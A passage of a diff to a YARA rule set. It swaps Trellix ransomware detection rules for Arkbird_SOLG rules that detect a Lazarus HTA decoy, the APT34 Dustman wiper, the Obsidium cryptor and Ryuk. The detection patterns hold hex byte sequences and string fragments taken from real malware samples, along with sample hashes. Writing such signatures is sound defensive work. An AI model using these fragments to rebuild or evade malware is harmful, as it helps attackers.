-		logic_hash = "9f39f0ef922023a79919f5b41a7acda6c08373af8f5fd2d4c4dcaca6146970ea"
+		description = "Detect HTA with the fake picture header as decoy used by Lazarus"
+		author = "Arkbird_SOLG"
+		id = "1a57251e-f0fb-541c-bf8b-f1afecf7f1c7"
+		date = "2021-04-27"
+		modified = "2021-04-27"
+		reference = "Internal Research"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-04-27/Lazarus/APT_Lazarus_HTA_Apr_2021_1.yara#L1-L21"
+		license_url = "N/A"
+		logic_hash = "40c2e5b662d1999c3ae5be97604bb9ebc809a383d66331cb4b385666ce55be2a"
 		score = 75
-		quality = 70
-		tags = "RANSOMWARE, FILE"
-		rule_version = "v1"
-		malware_type = "ransomware"
-		malware_family = "Ransom:W32/PureLocker"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		quality = 63
+		tags = "FILE"
+		hash1 = "888cfc87b44024c48eed794cc9d6dea9f6ae0cc3468dee940495e839a12ee0db"
+		tlp = "white"
+		adversary = "Lazarus"
 
 	strings:
-		$sequence = { 31??FF????E8????????83????5BC2????555357BA????????83????C7????????????4A75??E8????????8B????????????8D????E8????????8B????????????8D??????E8????????FF????8D??????????59E8????????75??FF??????8D??????????59E8????????75??EB??B8????????EB??31??21??74??31??0FBE??E9????????8D??????C7????????????C7????????????66??????????FF??????E8????????89??????52E8????????5A5052E8????????5A50FF??????E8????????8D????????????50E8????????8B??????01??89??????8B??????83????53E8????????89??????8B??????21??75??31??0FBE??E9????????68????????68????????FF????????????FF??????E8????????FF????E8????????89??01??89????????????8B????????????83????53E8????????89????????????8B????????????21??75??FF??????E8????????31??0FBE??E9????????68????????68????????FF??????FF????????????E8????????0FBE??????????83????0F85????????8B??????83????53E8????????89????????????8B????????????21??75??E9????????68????????68????????FF??????FF????????????E8????????FF??????E8????????68????????8D??????508D??????5068????????68????????68????????31??5068????????68????????FF????????????FF????????????68????????E8????????89??????8B??????21??75??31??0FBE??E9????????8D??????FF????E8????????8D??????FF????E8????????FF????????????E8????????FF????????????E8????????B8????????0FBE??E9????????EB??68????????8D??????508D??????5068????????68????????68????????31??5068????????68????????FF??????FF????????????68????????E8????????89??????8B??????21??75??31??0FBE??E9????????8D??????508D??????FF????E8????????89????????????FF??????E8????????C7??????????????FF????????????E8????????C7????????????????????C7????????????????????8B????????????21??74??E9????????0FBE????????????83????75??68????????68????????8D????????????5068????????8D??????FF????E8????????89??????EB??68????????68????????8D????????????5068????????8D??????FF????E8????????89??????8B??????21??74??E9????????0FBE????????????83????75??8D????????????8D????FF????FF??8F??????8F??????EB??8D????????????8B????9952508F??????8F??????FF??????FF??????5B5F83????7F??7C??83????77??31??EB??B8????????09??75??E9????????0FBE????????????83????75??68????????E8????????89????????????8B????????????21??75??E9????????68????????68????????68????????FF????????????FF????????????FF????????????8D??????FF????E8????????89????????????EB??68????????E8????????89??????8B??????21??75??E9????????68????????68????????FF??????8B????????????508D??????FF????E8????????89????????????8B????????????21??74??E9????????0FBE????????????83????75??8B????????????21??75??E9????????8B????????????8D????FF????FF??5B5F83????75??83????74??31??EB??B8????????09??74??E9????????EB??8B??????21??75??E9????????8B??????8B????21??75??E9????????0FBE????????????83????75??C7????????????????????FF????????????E8????????89????????????C7????????????????????68????????68????????FF????????????FF????????????8B????????????8D????FF????FF??8D??????FF????E8????????89????????????EB??C7????????????????????FF????????????E8????????89????????????C7????????????????????68????????FF????????????FF????????????8B????????????FF????8D??????FF????E8????????89????????????8B????????????21??74??E9????????0FBE????????????83????75??8B????????????21??7E??68????????68????????FF????????????E8????????FF????????????E8????????C7????????????????????EB??8B??????21??7E??68????????68????????FF??????E8????????FF??????E8????????C7??????????????0FBE????????????83????75??8B????????????21??75??E9????????8B????????????8D????89??21??75??E9????????EB??8B????????????21??75??E9????????8B????????????8D????89??21??75??E9????????8B??????83????53E8????????89????????????8B????????????21??75??E9????????68????????68????????FF??????FF????????????E8????????0FBE????????????83????75??68????????68????????FF??????FF????????????8B????????????8D????FF????FF??8D??????FF????E8????????89????????????EB??68????????FF??????FF????????????8B????????????FF????8D??????FF????E8????????89????????????FF????????????E8????????C7????????????????????0FBE????????????83????75??68????????68????????FF????????????E8????????FF????????????E8????????C7????????????????????EB??68????????68????????FF????????????E8????????FF????????????E8????????C7????????????????????8B????????????21??74??EB??68????????8D??????FF????E8????????89????????????8B????????????21??74??EB??0FBE????????????83????75??68????????31??508D??????FF????E8????????C6????????8D??????FF????E8????????8D??????FF????E8????????0FBE??????0FBE??E9????????8B????????????21??7E??FF????????????E8????????8B????????????21??7E??FF????????????E8????????8B????????????21??7E??FF????????????E8????????8B??????21??7E??FF??????E8????????8B????????????21??7E??FF????????????E8????????8D??????8B????21??7E??68????????8D??????FF????E8????????8D??????8B????21??7E??8D??????FF????E8????????8D??????8B????21??7E??8D??????FF????E8????????31??0FBE??EB??31??FF????E8????????FF????????????E8????????FF??????E8????????81??????????5F5B5DC2????31??50E8????????83????????????74??FF??????????5889????FF??????FF??????FF??????FF??????EB??EB??B8????????EB??31??83????C2????31??C2????5553BA????????83????C7????????????4A75??E8????????8B??????8D????E8????????83????????????0F84????????FF????E8????????89??01??89??????8B??????83????53E8????????89??????83????????74??68????????68????????FF??????FF??????E8????????89??3B??????75??8B??????83????538D??????5866??????FF??????5866??????FF??????5889????FF??????????5889??????8D??????508D??????5068????????68????????FF??????89??21??75??FF??????5889??????FF??????E8????????8B??????EB??31??FF????E8????????83????5B5DC2????31??50E8????????83????????????74??FF??????????5889????FF??????FF??????FF??????FF??????EB??EB??B8????????EB??31??83????C2????31??5050E8????????FF??????E8????????52E8????????5A50FF??????????8D??????????50E8????????8D??????50E8????????52E8????????5A5052E8????????5A50FF??????????8D??????????50E8????????E8????????01????E8????????8D??????50E8????????FF????8D??????????59E8????????74??52E8????????5A5052E8????????5A50FF??????????8D??????????50E8????????E8????????01????E8????????52E8????????5A5052E8????????5A50FF??????????8D??????????50E8????????E8????????01????E8????????588B??????52E8????????8D??????50E8????????EB??8B????52E8????????5A5052E8????????8B??????52E8????????8D??????50E8????????8B????52E8????????5A5052E8????????5850E8????????5A01??EB??E8????????66????????FF????E8????????FF??????E8????????83????C331??50E8????????83????????????74??FF??????????5889????FF??????FF??????FF??????FF??????FF??????FF??????FF??????FF??????FF??????FF??????FF??????EB??EB??B8????????EB??31??83????C2????555331??50505050E8????????C7??????????????FF??????E8????????89????8B????21??75??31??EB??8D??????50FF??????FF??????68????????E8????????89??21??75??8B????FF????5889??????68????????68????????FF??????E8????????FF????E8????????8B??????EB??31??83????5B5DC35331??50505050E8????????8B??????8D????E8????????FF????E8????????89??????8B??????83????53E8????????89??????83????????74??68????????FF??????FF??????FF??????E8????????21??74??FF??????FF??????68????????E8????????89??F7??89??????FF??????E8????????8B??????EB??31??FF????E8????????83????5BC2????31??50E8????????83????????????74??FF??????????5889????FF??????FF??????FF??????FF??????FF??????FF??????EB??EB??B8????????EB??31??83????C2????5553BA????????83????C7????????????4A75??E8????????8B??????8D????E8????????FF????8D??????????59E8????????74??31??E9????????52E8????????5A50FF??????????8D??????????50E8????????8B??????52E8????????8D??????50E8????????FF??????E8????????89??01??89??????8B??????83????53E8????????89??????83????????0F84????????68????????68????????FF??????FF??????E8????????89??3B??????0F85????????FF??????8D??????5866??????8B??????83????535866??????FF??????5889????C7??????????????8D??????????8D??????E8????????8D??????C7????????????C7????????????8D??????505889????68????????68????????8D??????508D??????5068????????8D??????50E8????????89??21??75??8B??????21??7E??B8????????EB??31??21??74??FF??????E8????????C7??????????????68????????68????????8D??????508D??????50FF??????E8????????89??21??75??8D??????FF????5889??????FF??????E8????????8B??????21??7E??FF??????E8????????8B??????EB??31??FF??????E8????????FF????E8????????83????5B5DC2????555357BA????????83????C7???????????? }
+		$s1 = { 0a 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 3e }
+		$s2 = { 5b 27 4f 70 65 6e 54 65 78 74 46 69 6c 65 27 2c 27 43 72 65 61 74 65 54 65 78 74 46 69 6c 65 27 }
+		$s3 = { 5b 27 70 75 73 68 27 5d }
+		$s4 = { 28 27 4d 5a 27 29 2c 65 5b 27 43 6c 6f 73 65 27 5d 28 29 }
+		$s5 = { 5b 27 73 68 69 66 74 27 5d 28 29 }
+		$s6 = { 3b 76 61 72 20 64 61 74 61 3d 5b }
+		$s7 = { 62 3d 6e 65 77 20 41 63 74 69 76 65 58 4f 62 6a 65 63 74 28 27 53 63 72 69 70 74 69 6e 67 2e 46 69 6c 65 53 79 73 74 65 6d 4f 62 6a 65 63 74 27 29 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and all of them
+		( uint16(0)==0x4d42 or uint16(0)==0xd8ff or uint32(0)==0x474e5089 or uint32(0)==0x38464947) and filesize >20KB and 5 of ($s*)
 }
-rule TRELLIX_ARC_RANSOM_Suncrypt : RANSOMWARE FILE
+rule ARKBIRD_SOLG_APT_APT34_Dustman_Apr_2021_1 : FILE
 {
 	meta:
-		description = "Rule to detect SunCrypt ransomware"
-		author = "McAfee ATR Team"
-		id = "92655f3e-f8e4-5c9f-ae3f-0796bd31d660"
-		date = "2020-10-02"
-		modified = "2020-11-02"
-		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_Suncrypt.yar#L1-L25"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		logic_hash = "9f27c6c5bfe0d01ed517d55687bf699814679488f95ce4942306f09f39e29d85"
+		description = "Detect the Installer of Dustman wiper used by APT34"
+		author = "Arkbird_SOLG"
+		id = "071063f5-d2a4-5666-a8c4-283c02061f6d"
+		date = "2021-04-28"
+		modified = "2021-04-30"
+		reference = "Internal Research"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-04-29/APT34/APT_APT34_Dustman_Apr_2021_1.yara#L1-L19"
+		license_url = "N/A"
+		logic_hash = "44e68fa21c1d6258bc9c0dcdc9cc531a15081122c90b23607bcfda716471aeb6"
 		score = 75
-		quality = 70
-		tags = "RANSOMWARE, FILE"
-		rule_version = "v1"
-		malware_type = "ransomware"
-		malware_family = "Ransomware:W32/Suncrypt"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
-		hash1 = "3090bff3d16b0b150444c3bfb196229ba0ab0b6b826fa306803de0192beddb80"
-		hash2 = "63ba6db8c81c60dd9f1a0c7c4a4c51e2e56883f063509ed7b543ad7651fd8806"
+		quality = 75
+		tags = "FILE"
+		hash1 = "a9397eb9e95087db7e03239c689776d56c1450d685568564acd90e1532c78882"
+		tlp = "white"
+		adversary = "APT34"
 
 	strings:
-		$pattern = { 77??2F475263????78??58436463????77??7A??5263????78??5846534D5A4678??48475263??????6B??????4D5A4679??7A??5263????78??584C5163????7A??44475264??5778??58526163????30????475264??30????58556463????31????475264??73??6B??????63????32????4752646C73??6B??????38????32??5047526477??6A??5738????68????????41555039????496C46374931????46446F62????414146442F565169????????????5039????466D4A526669??????????64??63????4F6D38????414169??????????586F69??????????33????30????69????????????6F41444141414974??38????41554542516167??2F5665??4478??434A526679??6666????64??63????4F6D444141414169??????????33??69????????????77??33????2F33????2F33????36??49464141434478??7A??64667A??64??7A??64??6A??73??7A??2F34??454449584164??517A??4F74??69??????????5834??5558672F33????2F33????36??6E362F2F39????59584164??517A??4F73??69??????????33??69????????????554B30????69????????????30????5838????5830????5549554974??4446434C525268????????30??39????77??444A77??574C37495073??4D5A4634??62????65??70??6B??????73??4634??54475265??31????586C5963????35????????65????78??586F63????4636??2F47526570??78??5872??63????37475047526531??78??5875??4931????46446F534163????46442F565169????????????66??51616B??????52434C51416A??63????4C5252442F63????2F566679??78??434677??55454D38??????475368????????41496C462B????462B????4E454974??49496C49434974??454974??434974??454974??49414E494B496C4E39????4639????517A??5041514D6E44565976??555974??434974??434974??434974??494474??4E4855464D38????367A??4C525169??????????????6C72??51574466??68????????454D38??????6F74??434974??434974??434974??494374??4E496C4E2F5039??2F4974??435039????4F6A??2B????2F57566E4A77??574C37494873??41414141494E6C6C4143445A6141416733??514148554969??????????30??????44475266??75??6B??????4D5A4638????475266??73??6B??????4D5A4639????475266??6B??????33????5A462B????4752666B??????5867??73??4634??6E475265??79??6B??????4D5A4635????????65??68????????62????4635????????65??????????70??63????366E4C47526574??78??5873??4D5A4630????475264??70??6B??????73??4630??54475264??31????58565963????31????475264????78??585962????4632????47526470??78??5862????5A4633????475262????78??5739????5A4676??54475262??4478??58416463????77??4C475263????78??58445A63????78??37475263????78??5847554D5A4678??4C475263????78??584A5938????79??58475263??????6B??????38????7A??44475261526178??576C64??????70??584752616475??6B??????63????71??4847526170??78??5772??73??4672??6E47526131??????5775??38????72??2F475262????78??5778??38????73??58475262????78??5730??????4674??6E475262????78??5733????5A4675??434E5265??5136??4D46414142512F31????69????????????51554F677A??514141555039????496C466E4931????46446F4977??414146442F565169????????????6152516A??5877??5039????46442F565169????????????52434C514269????????????4932????502F2F2F31??????667A??565A434677??515A67??32????414142414855433677??4C526677??68????????2F2B????667A??31????46454974??434974??454974??4E4474??47484A4D69??????????414969??????????5838????36??6661414164??69??????????????6A??565978??2F31????68????????32????61414177??41434C5252434C514169??????????????74??454974??435039????5039????495045454974??45496C4249476F4561414177??41434C5252434C514169??????????????74??454974??435039????5039????495045454974??45496C42494974??45494E34??414231????74??454974??43476F49575776??42594E38????77??64??474C5252434C514169??????????????534A51534472??476F4561414177??41434C5252434C514169??????????????6F412F31????67??????69??????????456769??????????67????48554636??67??4141434C5252434C51416A??63????4C5252442F63????4C5252442F63????6F30????4141495045444974??454974??434974??454974??43412B??5352534E524167??69????????????38????73??69??????????6C462F4974??454974??43412B??51415935????????4F5774??2F4369??????????????45516130????4B4974??454974??454974??6D414E4D4168????????5838????74??454974??494974??6D414E4D416778??36??59424141434478??7A??73??64??6C4145414141417A??412B????50372F2F34??466C4D6E44565976??555974??434974??434974??45496C49424974??434974??42412B??414431????67??4164??517A??4F73??69??????????414569??????????6B??????67??????554969????????????4969??????????68????????4164??517A?? }
+		$s1 = { 43 3a 5c 77 69 6e 64 6f 77 73 5c 73 79 73 74 65 6d 33 32 5c 63 6d 64 2e 65 78 65 00 00 00 00 00 2f 63 20 61 67 65 6e 74 2e 65 78 65 20 41 00 00 44 00 6f 00 77 00 6e 00 20 00 57 00 69 00 74 00 68 00 20 00 42 00 69 00 6e 00 20 00 53 00 61 00 6c 00 6d 00 61 00 6e 00 00 00 00 00 5c 00 }
+		$s2 = "\\assistant.sys" fullword wide
+		$s3 = { 61 00 67 00 65 00 6e 00 74 00 2e 00 65 00 78 00 65 00 00 00 00 00 00 00 53 00 6f 00 66 00 74 00 77 00 61 00 72 00 65 00 5c 00 4f 00 72 00 61 00 63 00 6c 00 65 00 5c 00 56 00 69 00 72 00 74 00 75 00 61 00 6c 00 42 00 6f 00 78 00 00 00 00 00 54 68 65 20 4d 61 67 69 63 20 57 6f 72 64 21 00 56 00 42 00 6f 00 78 00 44 00 72 00 76 00 00 00 5c 00 44 00 65 00 76 00 69 00 63 00 65 00 00 00 56 00 42 00 6f 00 78 00 55 00 53 00 42 00 4d 00 6f 00 6e 00 00 00 00 00 56 00 42 00 6f 00 78 00 4e 00 65 00 74 00 41 00 64 00 70 00 00 00 00 00 56 00 42 00 6f 00 78 00 4e 00 65 00 74 00 4c 00 77 00 66 }
+		$s4 = { 5c 00 5c 00 2e 00 5c 00 25 00 73 }
+		$s5 = { 68 54 00 00 00 68 00 00 00 00 68 80 69 40 00 e8 f4 0f 00 00 83 c4 0c 68 00 00 00 00 e8 ed 0f 00 00 a3 84 69 40 00 68 00 00 00 00 68 00 10 00 00 68 00 00 00 00 e8 da 0f 00 00 a3 80 69 40 00 e8 fc 2f 00 00 e8 7d 2c 00 00 e8 7a 18 00 00 e8 1d 12 00 00 e8 40 2d 00 00 68 00 00 00 00 e8 78 2f 00 00 a3 8c 69 40 00 68 00 00 00 00 e8 8d 2f 00 00 a3 90 69 40 00 c7 05 94 69 40 00 5a 00 00 00 c7 05 98 69 40 00 14 00 00 00 8b 1d 8c 69 40 00 2b 1d 94 69 40 00 83 c3 ea 89 1d 9c 69 40 00 8b 1d 90 69 40 00 2b 1d 98 69 40 00 83 c3 cc 89 1d a0 69 40 00 68 00 00 c8 00 68 18 60 40 00 ff 35 98 69 40 00 ff 35 94 69 40 00 ff 35 a0 69 40 00 ff 35 9c 69 40 00 68 00 00 00 }
+		$s6 = "Release\\Dustman.pdb" fullword ascii
 
 	condition:
-		uint16(0)==0x6441 and all of them
+		uint16(0)==0x5a4d and filesize >50KB and 4 of them
 }
-rule TRELLIX_ARC_RANSOM_Suncrypt_Decryptor : RANSOMWARE FILE
+rule ARKBIRD_SOLG_Mem_Cryptor_Obsidium_Oct_2020_1 : FILE
 {
 	meta:
-		description = "Rule to detect SunCrypt ransomware decryptor"
-		author = "McAfee ATR Team"
-		id = "ec0d3811-6083-5537-bf29-32ee02d43b5e"
-		date = "2020-10-02"
-		modified = "2020-11-02"
-		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_Suncrypt.yar#L27-L50"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		logic_hash = "59d1193bb0f8d3983a181394b5dd5247470d9e118cc4fe0674167f162bcdb6e1"
+		description = "Detect Obsidium cryptor by memory string"
+		author = "Arkbird_SOLG"
+		id = "039c45f0-cc43-50ee-ae4e-a7e0e220dc04"
+		date = "2020-10-25"
+		modified = "2020-10-27"
+		reference = "Internal Research"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-10-27/RYUK/Mem_Cryptor_Obsidium_Oct_2020_1.yar#L1-L15"
+		license_url = "N/A"
+		logic_hash = "5f471064505d7ab634b6d52f66fa0a96682af2eb1dd41afe4449543253c6bbf7"
 		score = 75
-		quality = 70
-		tags = "RANSOMWARE, FILE"
-		rule_version = "v1"
-		malware_type = "ransomware"
-		malware_family = "Ransomware:W32/Suncrypt"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
-		hash1 = "a0f99367b0a0a358ed6e5ae25904016d02aef6aa7c0423c34aa3ec3fd6354310"
+		quality = 50
+		tags = "FILE"
 
 	strings:
-		$pattern = { 558BEC81EC88000000837D08008BC10F101A89957CFFFFFF0F104A10898578FFFFFF0F1062200F106A300F115D940F114DA40F1165B40F116DC40F8E340200008B45D08B4DC48B55B08945F88B45CC8945E08B45C88945E88B45C08945F08B45BC8945F48B45B8538B5DA88945EC8B45AC568B75A48945D48B45A0578975DC8945E48B459403C68BF033F18B4DB4C1C61003CE8BF9337DDCC1C70C03C78945DC33C6C1C0088945D803C18B4DEC89458833C7C1C0078945848B459803C38BF03375E8C1C61003CE8BF933FBC1C70C03C78945E833C6C1C00889458C03C18B4DF48BD88945EC33DF8B459C0345D48B7DE48BF03375E003FAC1C61003CEC1C307894DF4334DD4C1C10C03C133F08945908B45F0C1C6088975800375F433CEC1C107894DE08B4DF833CFC1C11003C133D08945F0C1C20C8D043A8B7DF033C88945E48B45DCC1C10803F9894DF833D7C1C20703C38BC8334DF8C1C11003F18975FC315DFC8B5DFCC1C30C03C389459433C1C1C0088945F88945D003C633D88945F48945BC8B45E80345E08BC8C1C307334DD8C1C110895DFC895DA88B5DEC8D340F8BFE337DE0C1C70C03C789459833C1C1C0088945D88945C403C68B758833F88945F08945C08B459003C2C1C7078BC8897DD4334D8CC1C11003F1897DAC8B7DE433D6037D84C1C20C03C289459C33C1C1C0088945E88945C803C633D08945B48BC7C1C207334580C1C01003D88BCB334D84C1C10C03F98BF7897DE433F0897DA0C1C60803DE8975E08975CC895DEC8B45088BF333F1895DB88B5DFC488B4DD8C1C6078975DC8975A489450885C00F8F30FEFFFF0F106DC48B8578FFFFFF0F1065B45F0F105D948955B00F104DA48B957CFFFFFF5E5B0F10020F105210660FFED80F104230660FFED10F104A200F1118660FFECC660FFEC50F1150100F1148200F1140308BE55DC3CCCCCCCCCCCCCCCCCCCC558BEC83E4F081EC58020000568BC18B4D1489442420578BFA897C24283D000100000F82680A0000660F6E07660F70C800660F6E4704660F70D000660F6E4708660F70D800660F6E470C660F70E000660F6E4710660F70E800660F6E47148B7508660F70F000660F6E47188B550C660F70F8008D8EC0000000660F6E471C660F70C0000F29842430010000660F6E4720660F70C0000F29842440010000660F6E4724660F70C0000F29842450010000660F6E4728660F70C0000F29842460010000660F6E472C894C240C8D8AC0000000660F70C000894C241C8D8E800000000F29842470010000660F6E4738894C24148D8A80000000660F70C000894C24188D4E400F29842480010000660F6E473C894C242C8D4A40660F70C000C1E8080F298C24A00100000F299424B00100000F299C24C00100000F29A424D00100000F29AC24E00100000F29B424F00100000F29BC24000200000F29842490010000894C24108944242066660F1F8400000000000F2884243001000033C00B47308B4F340F298424800000000F288424400100000F298424900000000F288424500100000F294424600F288424600100000F298424100100000F28842470010000894C244C8944244883C0040F298C24D0000000F30F7E4C244883D1000F298424200100000F288424900100000F299424E00000000F2815A02B4200660F6CC90F29442430660FD4D10F2805B02B42000F29A424A0000000660FD4C10F28E20F29B42400010000660F62E0660F6AD00F28F40F299C24F00000000F28DD0F28AC2480010000660F62F20F297C24700F28FE660F6AE2894F348B4D140F295C24500F29AC24C00000000F29A424B00000000F29BC24400200000F29A4245002000089473085C90F84820400000F287C24708BC166900F28D3660FFE9424D0000000660FEFF2660F380035C02B42000F28DE660FFE9C24900000000F28C3660FEF4424500F28C8660F72F00C660F72D114660FEBC80F28C1660FFEC20F28942400010000660FFE9424E0000000660FEFF0660F380035D02B42000F29842490000000660FEFE2660F380025C02B42000F28C60F29742470660FFEC30F28DC660FFE5C24600F29842410020000660FEFC10F28C8660F72F007660F72D119660FEBC80F28C3660FEF8424000100000F298C24200200000F28C8660F72F00C660F72D114660FEBC80F28C1660FFEC20F28D7660FFE9424F0000000660FEFE0660F380025D02B42000F29442460660FEFEA660F38002DC02B42000F28C40F29A424B0000000660FFEC30F28DD660FFE9C24100100000F29842430020000660FEFC10F28F0660F72F007660F72D619660FEBF00F28C3660FEFC70F28C8660F72F00C660F72D114660FEBC80F28C1660FFEC20F28942480000000660FFE9424A0000000660FEFE8660F38002DD02B42000F294424500F28E50F29AC24C0000000660FFEE30F28C4660FEFC10F28F8660F72F007660F72D719660FEBF80F286C2430660FEFEA660F38002DC02B42000F28DD660FFE9C24200100000F28C3660FEF8424800000000F28C8660F72F00C660F72D114660FEBC80F28C1660FFEC20F28D6660FEFE8660FFE942490000000660F38002DD02B42000F298424A00000000F296C2430660FFEEB0F28C5660FEFC10F28C8660F72F007660F72D119660FEBC80F28442430660FEFC20F298C2480000000660F380005C02B42000F28D80F29442430660FFEDC0F28C3660FEFC60F287424700F28C8660F72F00C660F72D114660FEBC80F284424300F28E1660FFEE20F28D7660FFE542460660FEFC4660F380005D02B4200660FEFF20F29A424D0000000660F380035C02B42000F29442430660FFEC30F298424100100000F28DE660FEFC1660FFEDD0F28C8660F72F007660F72D119660FEBC80F28C3660FEFC70F298C24000100000F28C8660F72F00C660F72D114660FEBC80F28C1660FFEC20F28942480000000660FEFF00F298424E0000000660F380035D02B42000F28C6660FFEC30F29842420010000660FEFC10F28F8660F72F007660F72D719660FEBF8660FFE5424500F28A424B00000000F28AC24C0000000660FEFE2660F380025C02B42000F28DC660FFE9C24100200000F28C3660FEF8424800000000F28C8660F72F00C660F72D114660FEBC80F28C1660FFEC20F28942420020000660FFE9424A0000000660FEFE00F298424F0000000660FEFEA660F380025D02B4200660F38002DC02B42000F29A424B00000000F28C4660FFEC30F28DD660FFE9C24300200000F29842490000000660FEFC10F28C8660F72F007660F72D119660FEBC80F28C3660FEF8424200200000F298C24800000000F28C8660F72F00C660F72D114660FEBC80F28C1660FFEC20F298424A0000000660FEFE8660F38002DD02B42000F29AC24C00000000F28C5660FFEC30F29442460660FEFC10F28D8660F72F007660F72D319660FEBD80F295C245083E8010F8594FBFFFF0F297C24700F28BC24400200000F28AC24A0010000660FFEAC24D00000000F28A424C00100000F28DD660FFEA424F00000000F288C24B00100000F28D4660FFE8C24E00000000F288424D0010000660FFE8424A00000008B44242C8B7C2414660F62D9660F6AE90F28CB660F6AE0660F62D00F10068344241410660F6CCA660FEFC8660F6DDA0F110A0F10008B4424100F28CD660F6DEC660FEFD8660F6CCC0F28A424000200000F111883C0100F10078B7C2418660FFE642470660FEFC883442418100F28D4894424100F110F8B7C240C0F288C24F0010000660FFE8C24000100008344240C100F10078B7C241C8344241C10660FEFE80F28842430010000660FFE8424800000000F112F8B7C242C0F28AC24E0010000660FFE6C24500F28DD660F62D0660F62D9660F6AE90F28CB660F6AE00F104610660F6CCA660FEFC8660F6DDA0F114A100F1047100F28CD660F6DEC660FEFD8660F6CCC0F11188B4424140F10008B442418660FEFC80F11088B44240C0F10008B44241C660FEFE80F11280F28AC2440010000660FFEFE660FFEAC24900000000F28A424600100000F28DD660FFEA424100100000F288C24500100000F28D4660FFE4C24600F28842470010000660FFE84242001000083442410108B4424108344241410660F62D98344241810660F6AE90F28CB660F6AE0660F62D00F1046208344240C10660F6CCA660FEFC88344241C100F114A200F104720660F6DDA0F28CD660FEFD8660F6CCC0F11188B44241483442414100F28DF660F6DEC0F28A424800100000F10008B442418660FFEA424C0000000660FEFC883442418100F28D40F11088B44240C0F288C2450020000660FFE8C24B00000008344240C100F10008B44241C660F62D9660FEFE8660F6AF90F288424900100000F28CB660FFE4424300F11288B442410660F62D083C010660F6AE00F1046308344241C10660F6CCA660FEFC8660F6DDA0F114A30894424100F1047300F28CF660F6DFC660FEFD8660F6CCC0F11188B4424140F10008B442418660FEFC80F11088B44240C0F10008B44241C660FEFF881442410D000000081C70001000081442418D000000081C2000100008144241CD000000081C60001000081442414D00000008144240CD00000000F288C24A00100000F289424B00100000F289C24C00100000F28A424D00100000F28AC24E00100000F28B424F00100000F11388B4424240F28BC24000200002D00010000836C242001897C242C8B7C2428894424240F85E2F6FFFFEB068B550C8B75088954241083F8400F829A010000C1E80689442420660F1F4400000F10370F1057100F107F200F106F3085C90F84F60000008BC10F1F80000000000F28DA660FFEDE660FEFEB660F38002DC02B42000F28E5660FFEE70F28C4660FEFC20F28C8660F72F00C660F72D114660FEFC80F28D1660FFED3660FEFEA660F70D293660F38002DD02B42000F28DD660F70ED4E660FFEDC660F70E3390F28C3660FEFC10F28C8660F72F007660F72D119660FEFC8660FFED1660FEFEA660F38002DC02B4200660FFEE50F28C4660FEFC10F28D8660F72F00C660F72D314660FEFD80F28C3660FFEC2660F70F039660FEFE8660F38002DD02B42000F28C5660F70ED4E660FFEC4660F70F8930F28C8660FEFCB0F28D1 }
+		$s1 = "Obsidium\\" fullword ascii
+		$s2 = "obsidium.dll" fullword ascii
+		$s3 = "Software\\Obsidium" fullword ascii
+		$s4 = "winmm.dll" fullword ascii
+		$s5 = "'license.key" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <400KB and all of them
+		uint16(0)==0x5a4d and filesize >40KB and 3 of ($s*)
 }
-rule TRELLIX_ARC_Ransom_Monglock : RANSOMWARE FILE
+rule ARKBIRD_SOLG_Ran_Ruyk_Oct_2020_1 : FILE
 {
 	meta:
-		description = "Ransomware encrypting Mongo Databases "
-		author = "Christiaan Beek - McAfee ATR team"
-		id = "4350a874-dd76-5379-af9f-f1d190385706"
-		date = "2019-04-25"
-		modified = "2020-08-14"
-		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_MONGOLOCK.yar#L1-L41"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		logic_hash = "245a7377a410828ed8bc7148f36af6d143ad20d16840238ed5b6d6f94f015984"
+		description = "Detect RYUK ransomware (Sept_2020_V1)"
+		author = "Arkbird_SOLG"
+		id = "7ade43ef-cd31-5308-b5ab-71f04d27018b"
+		date = "2020-10-25"
+		modified = "2020-10-27"
+		reference = "Internal Research"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-10-27/RYUK/Ran_Ruyk_Oct2020_1.yar#L1-L29"
+		license_url = "N/A"
+		logic_hash = "b70eb2e5f58076ea8d4d1370649358acf68f3119cb2be6d5ef0a302bb3bf5d1e"
 		score = 75
-		quality = 70
-		tags = "RANSOMWARE, FILE"
-		rule_version = "v1"
-		malware_type = "ransomware"
-		malware_family = "Ransom:W32/MongLock"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
-		hash5 = "c4de2d485ec862b308d00face6b98a7801ce4329a8fc10c63cf695af537194a8"
+		quality = 75
+		tags = "FILE"
+		hash1 = "bbbf38de4f40754f235441a8e6a4c8bdb9365dab7f5cfcdac77dbb4d6236360b"
+		hash2 = "cfe1678a7f2b949966d9a020faafb46662584f8a6ac4b72583a21fa858f2a2e8"
+		hash3 = "e8a0e80dfc520bf7e76c33a90ed6d286e8729e9defe6bb7da2f38bc2db33f399"
 
 	strings:
